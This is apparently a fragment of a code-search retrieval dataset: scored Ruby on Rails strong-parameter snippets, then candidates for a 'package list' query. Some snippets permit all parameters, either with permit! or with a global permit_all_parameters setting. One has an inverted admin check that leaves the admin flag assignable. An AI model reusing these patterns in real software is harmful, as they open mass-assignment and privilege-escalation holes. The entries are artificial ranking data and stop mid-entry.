"text": "def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end",
"title": ""
},
{
"docid": "48e86c5f3ec8a8981d8293506350accc",
"score": "0.59669393",
"text": "def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end",
"title": ""
},
{
"docid": "9f774a9b74e6cafa3dd7fcc914400b24",
"score": "0.59589154",
"text": "def active_code_params\n params[:active_code].permit\n end",
"title": ""
},
{
"docid": "a573514ae008b7c355d2b7c7f391e4ee",
"score": "0.5958826",
"text": "def filtering_params\n params.permit(:email)\n end",
"title": ""
},
{
"docid": "2202d6d61570af89552803ad144e1fe7",
"score": "0.5957911",
"text": "def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end",
"title": ""
},
{
"docid": "8b571e320cf4baff8f6abe62e4143b73",
"score": "0.5957385",
"text": "def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end",
"title": ""
},
{
"docid": "d493d59391b220488fdc1f30bd1be261",
"score": "0.5953072",
"text": "def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end",
"title": ""
},
{
"docid": "f18c8e1c95a8a21ba8cd6fbc6d4d524a",
"score": "0.59526145",
"text": "def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end",
"title": ""
},
{
"docid": "4e6017dd56aab21951f75b1ff822e78a",
"score": "0.5943361",
"text": "def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end",
"title": ""
},
{
"docid": "67fe19aa3f1169678aa999df9f0f7e95",
"score": "0.59386164",
"text": "def list_params\n params.permit(:name)\n end",
"title": ""
},
{
"docid": "bd826c318f811361676f5282a9256071",
"score": "0.59375334",
"text": "def filter_parameters; end",
"title": ""
},
{
"docid": "bd826c318f811361676f5282a9256071",
"score": "0.59375334",
"text": "def filter_parameters; end",
"title": ""
},
{
"docid": "5060615f2c808bab2d45f4d281987903",
"score": "0.5933856",
"text": "def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end",
"title": ""
},
{
"docid": "7fa620eeb32e576da67f175eea6e6fa0",
"score": "0.59292704",
"text": "def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end",
"title": ""
},
{
"docid": "d9483565c400cd4cb1096081599a7afc",
"score": "0.59254247",
"text": "def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end",
"title": ""
},
{
"docid": "f7c6dad942d4865bdd100b495b938f50",
"score": "0.5924164",
"text": "def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end",
"title": ""
},
{
"docid": "70fa55746056e81854d70a51e822de66",
"score": "0.59167904",
"text": "def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end",
"title": ""
},
{
"docid": "3683f6af8fc4e6b9de7dc0c83f88b6aa",
"score": "0.59088355",
"text": "def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end",
"title": ""
},
{
"docid": "3eef50b797f6aa8c4def3969457f45dd",
"score": "0.5907542",
"text": "def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end",
"title": ""
},
{
"docid": "753b67fc94e3cd8d6ff2024ce39dce9f",
"score": "0.59064597",
"text": "def url_whitelist; end",
"title": ""
},
{
"docid": "f9f0da97f7ea58e1ee2a5600b2b79c8c",
"score": "0.5906243",
"text": "def admin_social_network_params\n params.require(:social_network).permit!\n end",
"title": ""
},
{
"docid": "5bdab99069d741cb3414bbd47400babb",
"score": "0.5898226",
"text": "def filter_params\n params.require(:filters).permit(:letters)\n end",
"title": ""
},
{
"docid": "7c5ee86a81b391c12dc28a6fe333c0a8",
"score": "0.589687",
"text": "def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end",
"title": ""
},
{
"docid": "de77f0ab5c853b95989bc97c90c68f68",
"score": "0.5896091",
"text": "def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end",
"title": ""
},
{
"docid": "29d030b36f50179adf03254f7954c362",
"score": "0.5894501",
"text": "def sensitive_params=(params)\n @sensitive_params = params\n end",
"title": ""
},
{
"docid": "bf321f5f57841bb0f8c872ef765f491f",
"score": "0.5894289",
"text": "def permit_request_params\n params.permit(:address)\n end",
"title": ""
},
{
"docid": "5186021506f83eb2f6e244d943b19970",
"score": "0.5891739",
"text": "def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end",
"title": ""
},
{
"docid": "b85a12ab41643078cb8da859e342acd5",
"score": "0.58860534",
"text": "def secure_params\n params.require(:location).permit(:name)\n end",
"title": ""
},
{
"docid": "46e104db6a3ac3601fe5904e4d5c425c",
"score": "0.5882406",
"text": "def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end",
"title": ""
},
{
"docid": "abca6170eec412a7337563085a3a4af2",
"score": "0.587974",
"text": "def question_params\n params.require(:survey_question).permit(question_whitelist)\n end",
"title": ""
},
{
"docid": "26a35c2ace1a305199189db9e03329f1",
"score": "0.58738774",
"text": "def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end",
"title": ""
},
{
"docid": "de49fd084b37115524e08d6e4caf562d",
"score": "0.5869024",
"text": "def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end",
"title": ""
},
{
"docid": "7b7ecfcd484357c3ae3897515fd2931d",
"score": "0.58679986",
"text": "def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end",
"title": ""
},
{
"docid": "0016f219c5d958f9b730e0824eca9c4a",
"score": "0.5867561",
"text": "def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end",
"title": ""
},
{
"docid": "8aa9e548d99691623d72891f5acc5cdb",
"score": "0.5865932",
"text": "def url_params\n params[:url].permit(:full)\n end",
"title": ""
},
{
"docid": "c6a8b768bfdeb3cd9ea388cd41acf2c3",
"score": "0.5864461",
"text": "def backend_user_params\n params.permit!\n end",
"title": ""
},
{
"docid": "be95d72f5776c94cb1a4109682b7b224",
"score": "0.58639693",
"text": "def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend",
"title": ""
},
{
"docid": "967c637f06ec2ba8f24e84f6a19f3cf5",
"score": "0.58617616",
"text": "def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end",
"title": ""
},
{
"docid": "e4a29797f9bdada732853b2ce3c1d12a",
"score": "0.5861436",
"text": "def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end",
"title": ""
},
{
"docid": "d14f33ed4a16a55600c556743366c501",
"score": "0.5860451",
"text": "def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end",
"title": ""
},
{
"docid": "46cb58d8f18fe71db8662f81ed404ed8",
"score": "0.58602303",
"text": "def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end",
"title": ""
},
{
"docid": "7e9a6d6c90f9973c93c26bcfc373a1b3",
"score": "0.5854586",
"text": "def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end",
"title": ""
},
{
"docid": "ad61e41ab347cd815d8a7964a4ed7947",
"score": "0.58537364",
"text": "def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end",
"title": ""
},
{
"docid": "8894a3d0d0ad5122c85b0bf4ce4080a6",
"score": "0.5850427",
"text": "def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end",
"title": ""
},
{
"docid": "53d84ad5aa2c5124fa307752101aced3",
"score": "0.5850199",
"text": "def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end",
"title": ""
}
] |
43f1b9d06009081572d4779cc565302e
|
Insert package information into package list
|
[
{
"docid": "6e10c999e8e7fcc9633f167da0659916",
"score": "0.6123684",
"text": "def inject_package(hash, info, package)\n arch = info[\"ARCH\"]\n arch = arch == \"all\" ? all_map : [arch]\n arch.map do |arch|\n package_file_name = File.join(\n package_root, package_bucket, origin,\n dist, component, File.basename(package)\n )\n hash.deep_merge!(\n \"yum\" => {\n origin => {\n dist => {\n \"components\" => {\n component => {\n arch => {\n info[\"NAME\"] => {\n info[\"NEVR\"] => info.merge(:generated_path => package_file_name),\n },\n },\n },\n },\n },\n },\n },\n )\n File.join(\"yum\", origin, package_file_name)\n end\n end",
"title": ""
}
] |
[
{
"docid": "4a54c497c123deec82953b7247690136",
"score": "0.6933324",
"text": "def add(package)\n @packages << package\n end",
"title": ""
},
{
"docid": "8d8e95442fa6aef98db86ceed54ad243",
"score": "0.6751107",
"text": "def add(package)\n\t\t# package could be a ConstraintPackage, or it could just be a raw Constraint\n\t\t# (the latter case is an optimization, not a \"normal\" thing)\n\t\t@list << package\n\tend",
"title": ""
},
{
"docid": "509d1cc1ab7d3541214eb3a751ab457e",
"score": "0.65497595",
"text": "def add_pkg_to_db(package)\n write_to_db(package)\n end",
"title": ""
},
{
"docid": "73ea92c6fd23a6c2a8805f3504523c33",
"score": "0.6501456",
"text": "def top!\n\t\t\t@packages << @package\n\t\tend",
"title": ""
},
{
"docid": "191d5f0f97699625e0fc8bb3649fcf83",
"score": "0.6479749",
"text": "def register_package_set(pkg_set)\n metapackage(pkg_set.name)\n metapackage(\"#{pkg_set.name}.all\")\n @package_sets << pkg_set\n end",
"title": ""
},
{
"docid": "ba462bf2bda1b7df3ab8e4c124c59f41",
"score": "0.64329696",
"text": "def updatePackageInfo(package, html)\n description = getDescriptionHtml(package)\n description.each do |desc|\n if desc.match(/Depends: (.*)\\z/) then package.update_attributes(depends: $1.to_s) end\n if desc.match(/Imports: (.*)\\z/) then package.update_attributes(imports: $1.to_s) end\n if desc.match(/Suggests: (.*)\\z/) then package.update_attributes(suggests: $1.to_s) end\n if desc.match(/Description: (.*)\\z/) then package.update_attributes(description: $1.to_s) end\n if desc.match(/Author: (.*)\\z/) then package.update_attributes(authors: $1.to_s) end\n if desc.match(/Maintainer: (.*)\\z/) then package.update_attributes(maintainers: $1.to_s) end\n end\n end",
"title": ""
},
{
"docid": "994dd918574111c4991967fe2007646e",
"score": "0.64292824",
"text": "def init()\n baliky = getPackages()\n \n baliky.each do |i|\n i.match(/(.*)_(.*).tar.gz/i)\n new = Package.new(name: $1.to_s, version: $2.to_s, archive_name: i.to_s)\n new.save\n end\n UPDATE_PACKAGE_LOG.info(\"Database was initialized by downloading list of packages from CRAN.\") \n end",
"title": ""
},
{
"docid": "9da054a78592fae95113d5519e350a3f",
"score": "0.6342045",
"text": "def parsePackageInfo(pkg)\r\n pkgname = pkg.split[1]\r\n pkglst = pkgname.split(\".\")\r\n pkgInfo = PackageInfo.new(pkgname)\r\n pkgInfo.pkgLst = pkglst\r\n return pkgInfo\r\nend",
"title": ""
},
{
"docid": "dd30287d497606747f0d82f8805e918c",
"score": "0.63077784",
"text": "def inject_package(hash, info, package)\n package_path = File.join(\n \"rubygems\", \"gems\", \"#{info[\"name\"]}-#{info[\"version\"]}.gem\"\n )\n classification = info[\"version\"].prerelease? ? \"prerelease\" : \"release\"\n info[\"version\"] = info[\"version\"].version\n hash.deep_merge!(\n \"rubygem\" => {\n classification => {\n info[\"name\"] => {\n info[\"version\"].to_s => info.merge(\"package_path\" => package_path),\n },\n },\n },\n )\n package_path\n end",
"title": ""
},
{
"docid": "813635513509921d6a385c7f4063c734",
"score": "0.6254648",
"text": "def package_add\n load_content_package(Package.add(params))\n end",
"title": ""
},
{
"docid": "550a3da64485e764e85724f7b92d87c6",
"score": "0.6227068",
"text": "def add_packages(xml)\n xml.MasterTrackingId {\n xml.TrackingNumber @mps_details[:master_tracking_id]\n } if @mps_details && @mps_details[:master_tracking_id]\n if [\"FEDEX_FREIGHT_ECONOMY\", \"FEDEX_FREIGHT_PRIORITY\"].include?(@service_type)\n packages = [@packages.first]\n else\n packages = @packages\n end\n package_count = packages.size\n xml.PackageCount (@mps_details && @mps_details[:package_count]) || 1\n packages.each do |package|\n xml.RequestedPackageLineItems{\n xml.SequenceNumber @mps_details[:sequence_number] if @mps_details\n xml.GroupPackageCount 1\n xml.InsuredValue {\n xml.Currency \"USD\"\n xml.Amount package[:value]\n } if package[:value] && ![\"FEDEX_FREIGHT_ECONOMY\", \"FEDEX_FREIGHT_PRIORITY\", \"SMART_POST\"].include?(@service_type)\n xml.Weight{\n xml.Units package[:weight][:units]\n xml.Value package[:weight][:value]\n }\n xml.Dimensions {\n xml.Length package[:dimensions][:length].to_i\n xml.Width package[:dimensions][:width].to_i\n xml.Height package[:dimensions][:height].to_i\n xml.Units package[:dimensions][:units]\n } if package[:dimensions]\n xml.CustomerReferences {\n xml.CustomerReferenceType \"CUSTOMER_REFERENCE\"\n xml.Value package[:reference]\n }\n hash_to_xml(xml, package[:special_services]) if package[:special_services]\n }\n end\n end",
"title": ""
},
{
"docid": "10e21d8fd6e3cff548303382c3dbaf60",
"score": "0.6191997",
"text": "def update_package_xml\n project_package = Nokogiri::XML(File.open(\"#{ENV['TM_PROJECT_DIRECTORY']}/src/package.xml\"))\n project_package.remove_namespaces!\n project_package.xpath(\"//types/name\").each do |node| \n if CORE_METADATA_TYPES.include?(node.text) && node.previous_element.text != \"*\"\n meta_type = get_meta_type_by_name(node.text) \n node.parent.children.each do |n|\n n.remove if n.name == \"members\"\n end\n Dir.foreach(\"#{ENV['TM_PROJECT_DIRECTORY']}/src/#{meta_type[:directory_name]}\") do |entry| \n next if entry == \".\" or entry == \"..\" or entry.include? \"-meta\"\n entry = entry.split(\".\")[0]\n node.add_previous_sibling(\"\\t\\t<members>#{entry}</members>\\n\")\n end\n node.add_previous_sibling(\"\\t\\t\")\n node.parent.children.each_with_index do |n, i|\n next if i == 0\n break if n.name != \"text\" \n n.remove\n end\n end\n end\n File.open(\"#{ENV['TM_PROJECT_DIRECTORY']}/src/package.xml\", 'w') {|f| f.write(project_package.to_xml) }\n end",
"title": ""
},
{
"docid": "6f19ebaaed0b4c192ca78a3c6015d861",
"score": "0.6181689",
"text": "def append_package_install(package)\n begin\n # Try to find the package, unless we have a package instance\n package = Package.find(package) unless package.class == Package\n rescue\n raise ComputerException.new(\"Malformed argument passed to append_package_install method\")\n end\n its = self.install_items\n # Remove install items referring to the same package branch as \"package\"\n its = its.map do |it|\n it unless it.package_branch.id == package.package_branch.id\n end\n its = its.compact\n its << self.install_items.build({:package_id => package.id, :package_branch_id => package.package_branch.id})\n self.install_items = its\n end",
"title": ""
},
{
"docid": "ca3653e4abbcf59c48a88525601d34b6",
"score": "0.6164299",
"text": "def package_list(packages, version)\n packages[:base].to_a.join(' ') + ' ' + packages[version].to_a.join(' ')\n end",
"title": ""
},
{
"docid": "ffb7e3bb3e21ac2a8b855409a6798c51",
"score": "0.6154639",
"text": "def AutoPackages\n # TODO FIXME: your code here...\n { \"install\" => [], \"remove\" => [] }\n end",
"title": ""
},
{
"docid": "f540083e8fd14d404cb8673da0f37f52",
"score": "0.61523783",
"text": "def add_packages(xml)\n package_count = @packages.size\n xml.PackageCount package_count\n @packages.each do |package|\n xml.RequestedPackageLineItems{\n xml.GroupPackageCount 1\n xml.Weight{\n xml.Units package[:weight][:units]\n xml.Value package[:weight][:value]\n }\n if package[:dimensions]\n xml.Dimensions{\n xml.Length package[:dimensions][:length]\n xml.Width package[:dimensions][:width]\n xml.Height package[:dimensions][:height]\n xml.Units package[:dimensions][:units]\n }\n end\n add_customer_references(xml, package)\n if package[:special_services_requested] && package[:special_services_requested][:special_service_types]\n xml.SpecialServicesRequested{\n if package[:special_services_requested][:special_service_types].is_a? Array\n package[:special_services_requested][:special_service_types].each do |type|\n xml.SpecialServiceTypes type\n end\n else\n xml.SpecialServiceTypes package[:special_services_requested][:special_service_types]\n end\n # Handle COD Options\n if package[:special_services_requested][:cod_detail]\n xml.CodDetail{\n xml.CodCollectionAmount{\n xml.Currency package[:special_services_requested][:cod_detail][:cod_collection_amount][:currency]\n xml.Amount package[:special_services_requested][:cod_detail][:cod_collection_amount][:amount]\n }\n if package[:special_services_requested][:cod_detail][:add_transportation_charges]\n xml.AddTransportationCharges package[:special_services_requested][:cod_detail][:add_transportation_charges]\n end\n xml.CollectionType package[:special_services_requested][:cod_detail][:collection_type]\n xml.CodRecipient {\n add_shipper(xml)\n }\n if package[:special_services_requested][:cod_detail][:reference_indicator]\n xml.ReferenceIndicator package[:special_services_requested][:cod_detail][:reference_indicator]\n end\n }\n end\n # DangerousGoodsDetail goes here\n if package[:special_services_requested][:dry_ice_weight]\n xml.DryIceWeight{\n xml.Units package[:special_services_requested][:dry_ice_weight][:units]\n xml.Value package[:special_services_requested][:dry_ice_weight][:value]\n }\n end\n if package[:special_services_requested][:signature_option_detail]\n xml.SignatureOptionDetail{\n xml.OptionType package[:special_services_requested][:signature_option_detail][:signature_option_type]\n }\n end\n if package[:special_services_requested][:priority_alert_detail]\n xml.PriorityAlertDetail package[:special_services_requested][:priority_alert_detail]\n end\n }\n end\n }\n end\n end",
"title": ""
},
{
"docid": "3ee24a59627e0b5dcc8d9e16504f16f6",
"score": "0.6126032",
"text": "def packages=(list)\n if list.class == Array\n list = List.new(list)\n list.each_with_index do |value, index|\n if value.is_a?(Hash)\n list[index] = Package.new(value)\n end\n end\n end\n @packages = list\n end",
"title": ""
},
{
"docid": "559be9ee6609553a198aed760bdeef28",
"score": "0.6124611",
"text": "def packages\n\t\treturn @all_packages unless @all_packages.nil?\n\t\t@all_packages = Array.new\n\n\t\tadd_package(@packages)\n\t\t\n\t\t@all_packages.sort!\n\t\t@all_packages\n\tend",
"title": ""
},
{
"docid": "b429a743d629bbbe8db40109eaa97f98",
"score": "0.6115226",
"text": "def register_package(package)\n @release_version_model.add_package(package)\n end",
"title": ""
},
{
"docid": "fb64702a9c7835f7b196ac17c22bc220",
"score": "0.6111447",
"text": "def add_packages(packages)\n packages.each { |package| self.add_package(package) }\n end",
"title": ""
},
{
"docid": "6f44cb3f9e1a10744c09ced4bca99adb",
"score": "0.61104226",
"text": "def append_package_installs(packages)\n packages.map {|package| self.append_package_branch_install(package) }\n end",
"title": ""
},
{
"docid": "0d5900433b2763e35de201ffd4e5a9f3",
"score": "0.6101045",
"text": "def packages()\n\t\t\t\tpackages = PackageList.new()\n\t\t\t\tpackageregex = /^\\s*([^\\/]+)\\/([^ ]+?)-([0-9][^ ]+)/\n\n\t\t\t\tlist = `qpkg -v`\n\t\t\t\tlist.each_line() { |line|\n\t\t\t\t\tmatch = packageregex.match(line)\n\t\t\t\t\tif(match != nil)\n\t\t\t\t\t\tpackages[match[2]] = PackageInfo.new()\n\t\t\t\t\t\tpackages[match[2]].name = match[2]\n\t\t\t\t\t\tpackages[match[2]].version = match[3]\n\t\t\t\t\t\tpackages[match[2]].category = match[1]\n\t\t\t\t\tend\n\t\t\t\t}\n\t\t\tend",
"title": ""
},
{
"docid": "19da42b9e88b3ee99e7612a617f8b00b",
"score": "0.6067177",
"text": "def addPackage(row, gem)\n# self.sortingEnabled = false\n nameItem = Item.new(gem.package)\n @gems[nameItem] = gem # 0 column item is hash key.\n setItem( row, PACKAGE_NAME, nameItem )\n setItem( row, PACKAGE_VERSION, Item.new(gem.version) )\n setItem( row, PACKAGE_SUMMARY, Item.new(gem.summary) )\n setItem( row, PACKAGE_ATIME, Item.new('') )\n end",
"title": ""
},
{
"docid": "be414a35f406c039e6bcfc1b4ea15344",
"score": "0.60476124",
"text": "def find_new_packages()\n Avalon::Batch::Package.locate(@base_directory, @collection)\n end",
"title": ""
},
{
"docid": "a6f158e9b74327f9dc862b75ec0baba4",
"score": "0.6046444",
"text": "def update(packages)\n OCPM.command(\"createrepo #{@path}\")\n true \n end",
"title": ""
},
{
"docid": "7e6eb03e2ce21606f7c228df83f8f65b",
"score": "0.60379297",
"text": "def add_packages(label,packages)\n base.default_call(\"#{API_NS}.addPackages\",label,packages)\n end",
"title": ""
},
{
"docid": "209a601439eb6b355c0edb10d0a01441",
"score": "0.6016529",
"text": "def initialize\n @packages = []\n end",
"title": ""
},
{
"docid": "14b21131709a8103cdce82c3df40437a",
"score": "0.60095745",
"text": "def packages\n @packages ||= objects('packages').values.each_with_object({}) do |package_hash, hash|\n package = Package.new(package_hash.first, self)\n hash[package.name] = package\n end\n end",
"title": ""
},
{
"docid": "2f2fdc515775a55e00c2b1b921e39608",
"score": "0.59912",
"text": "def installed_packages()\n\t\t\t\tpackages = PackageList.new()\n\t\t\t\tpackageregex = /^\\s*([^\\/]+)\\/([^ ]+?)-([0-9][^ ]+)/\n\n\t\t\t\tlist = `qpkg -I -v`\n\t\t\t\tlist.each_line() { |line|\n\t\t\t\t\tmatch = packageregex.match(line)\n\t\t\t\t\tif(match != nil)\n\t\t\t\t\t\tpackages[match[2]] = PackageInfo.new()\n\t\t\t\t\t\tpackages[match[2]].name = match[2]\n\t\t\t\t\t\tpackages[match[2]].version = match[3]\n\t\t\t\t\t\tpackages[match[2]].category = match[1]\n\t\t\t\t\tend\n\t\t\t\t}\n\t\t\tend",
"title": ""
},
{
"docid": "04e8e48f31a5398eca0b3cdbc5d57027",
"score": "0.5954308",
"text": "def add_package package\n appliance_basesystem = appliance.basesystem\n result = appliance.search_software(package)#.find{|s| s.name == package }\n #TODO: better handling\n #Blocked by bnc#\n if result.empty? #it is not found in available repos\n puts \"'#{package}' has not been found in the repositories currently \"\\\n \"added to your appliance.\"\n keep_trying = @shell.yes?('Would you like to search for this package '\\\n 'inside other repositories? (y/n)')\n if keep_trying\n matches = appliance.search_software(package, :all_repos => true)\\\n .find_all { |s| s.name == package }\n repositories = matches.map do |r|\n StudioApi::Repository.find r.repository_id\n end.find_all{|r| r.base_system == appliance_basesystem}\n\n if repositories.empty?\n puts \"Cannot find #{package}, please look at this page: \"\n puts URI.encode \"http://software.opensuse.org/search?p=1&\"\\\n \"baseproject=ALL&q=#{package}\"\n else\n puts \"Package #{package} can be installed from one of the \"\\\n \"following repositories:\"\n repositories.each_with_index do |repo, index|\n puts \"#{index+1} - #{repo.name} (#{repo.base_url})\"\n end\n puts \"#{repositories.size+1} - None of them.\"\n begin\n choice = @shell.ask(\"Which repo do you want to use? \"\\\n \"[1-#{repositories.size+1}]\")\n end while (choice.to_i > (repositories.size+1) || choice.to_i < 1)\n if (choice.to_i == (repositories.size+1))\n abort(\"Package not added.\")\n else\n repo_id = repositories[choice.to_i-1].id\n end\n appliance.add_repository repo_id\n end\n else\n exit 0\n end\n # add repo which contain samba\n #appliance.add_repository result.repository_id\n end\n Utils::execute_printing_progress \"Adding #{package} package\" do\n appliance.add_package(package)\n end\n end",
"title": ""
},
{
"docid": "2ac16d509d0dea99840863789ac66f70",
"score": "0.5949946",
"text": "def metapackage(name, *packages)\n Autoproj.workspace.manifest.metapackage(name, *packages)\nend",
"title": ""
},
{
"docid": "6622f903cdaeaf9b57b4417aba4fcead",
"score": "0.5938882",
"text": "def install_package_list(packages)\n packages.each do |package_name|\n case node['platform']\n when 'centos', 'amazon'\n package package_name do\n action :install\n source package_name\n end\n when 'ubuntu'\n execute 'apt install dcv package' do\n command \"apt -y install #{package_name}\"\n retries 3\n retry_delay 5\n end\n end\n end\nend",
"title": ""
},
{
"docid": "95764a309c7cef8f873ec6c84a3113b3",
"score": "0.59298664",
"text": "def installed_packages()\n\t\t\t\tpackages = PackageList.new()\n\t\t\t\tpackageregex = /([^ ]+)-([^- ]+)\\s+(.*)/\n\n\t\t\t\tinstalledpackageslist = `/usr/sbin/pkg_info`\n\t\t\t\tinstalledpackageslist.each_line() { |line|\n\t\t\t\t\tline.strip!()\n\t\t\t\t\tmatch = packageregex.match(line)\n\t\t\t\t\tif(match != nil)\n\t\t\t\t\t\tname = match[1]\n\t\t\t\t\t\tversion = match[2]\n\t\t\t\t\t\tdescription = match[3]\n\n\t\t\t\t\t\tpackages[name] = PackageInfo.new()\n\t\t\t\t\t\tpackages[name].name = name\n\t\t\t\t\t\tpackages[name].version = version\n\t\t\t\t\t\tpackages[name].description = description\n\t\t\t\t\t\tpackages[name].origin = `/usr/sbin/pkg_info -q -o #{name}-#{version}`.strip()\n\t\t\t\t\tend\n\t\t\t\t}\n\n\t\t\t\treturn(packages)\n\t\t\tend",
"title": ""
},
{
"docid": "73837a2e274a46244f09f0d732b64113",
"score": "0.590134",
"text": "def package_file_elements\n [PACKAGE_NAME, version]\n end",
"title": ""
},
{
"docid": "f67438e015d9521e5f52a90412618ac9",
"score": "0.5865228",
"text": "def update_package_list\n # TODO: this needs to be per server\n unless defined?(@@packages_updated) && @@packages_updated[server]\n @@packages_updated ||= {}\n @@packages_updated[server] = true\n as_root do\n exec('DEBIAN_FRONTEND=noninteractive apt-get -q -y update', :no_pty => true)\n end\n end\n end",
"title": ""
},
{
"docid": "aee08da034f3e8f77895529d3a6252c8",
"score": "0.58392423",
"text": "def listpackages(options)\n @repomate.listpackages.each do |entry|\n next unless entry[:category].eql?(options[:category]) unless options[:category].nil?\n architecture = entry[:architecture] if entry[:architecture]\n printf \"%-50s%-20s%-10s%s\\n\", entry[:controlfile]['Package'], entry[:controlfile]['Version'], \"#{entry[:category]}\", \"#{entry[:suitename]}/#{entry[:component]}/#{architecture}\"\n end\n end",
"title": ""
},
{
"docid": "cd4c854beb1715a8e0df39235bc50645",
"score": "0.58129483",
"text": "def archive_package_info(zip)\n add_file_with_time(zip, \"pione-package.json\", @location + \"pione-package.json\")\n end",
"title": ""
},
{
"docid": "51d1cf76e30509b7e1833ea3cc81d4fd",
"score": "0.58087087",
"text": "def install_packages(packages)\n return if windows?\n\n needed_packages = []\n\n packages.each do |k, v|\n if platform.include?(k)\n needed_packages.push(*v)\n end\n end\n\n update_package_manager do\n line(package_manager[0], package_manager[1] + \" \" +\n needed_packages.each_with_index.map { |e, i| \"{#{i}} \" }).pass(Hash.new { |h, k|\n h[k] = needed_packages[k]\n })\n end\n end",
"title": ""
},
{
"docid": "60d9dbf3b6e839374b89dc59018a9ef2",
"score": "0.58058465",
"text": "def build_inventory\n inventory = []\n updates_array = updates\n installed.each do |package|\n package_info = info(package)\n package_entry = updateable(package_info, updates_array)\n package_entry.merge!(server_info)\n inventory << package_entry\n end\n inventory\n end",
"title": ""
},
{
"docid": "c32ad1ad3ea6bdead9f018c04f4651ee",
"score": "0.5803419",
"text": "def package(*args)\n if args && args.flatten.size == 1\n super(*args)\n elsif\n name = args.first\n hash = args.last\n hash[:require] = Array(hash[:require]).push(exec('apt-get update'))\n super(name, hash)\n end\n end",
"title": ""
},
{
"docid": "4eaae378d1a59edf87dc11d5d40ab4b4",
"score": "0.58007807",
"text": "def package(name, *args, &block)\n packages << Package.new(name, root, *args, &block)\n end",
"title": ""
},
{
"docid": "f2a520c13a61a5174afc7b63a3831b2b",
"score": "0.5796988",
"text": "def install\n #TRANSLATORS Sun refers to the company name, do not translate\n raise Puppet::Error, _(\"Sun packages must specify a package source\") unless @resource[:source]\n options = {\n :adminfile => @resource[:adminfile],\n :responsefile => @resource[:responsefile],\n :source => @resource[:source],\n :cmd_options => @resource[:install_options]\n }\n pkgadd prepare_cmd(options)\n end",
"title": ""
},
{
"docid": "eb114b122bc38a89661bc0fcf77de62a",
"score": "0.57966906",
"text": "def package_installs=(packages)\n package_objects = [];\n packages.each do |package|\n if package.class == Package\n package_objects << package\n else\n p = Package.where(:id => package.to_i).limit(1).first\n package_objects << p unless p.nil?\n end\n end\n self.installs = package_objects\n end",
"title": ""
},
{
"docid": "e742d99387908d04be95ae8c1eaf0da6",
"score": "0.57912356",
"text": "def packages\n manifest.each_with_object({}) do |(src, package_name), hsh|\n next if src.nil? || src.empty?\n hsh[package_name] ||= []\n hsh[package_name] << File.absolute_path(src, config.root)\n end\n end",
"title": ""
},
{
"docid": "c5ecd35233db843d29c501fd13bd5fd3",
"score": "0.579085",
"text": "def install_package(package)\n\t\t\t\traise \"package() not implemented\"\n\t\t\tend",
"title": ""
},
{
"docid": "ce0ceab93038a7a908236853c7c6fa18",
"score": "0.5772535",
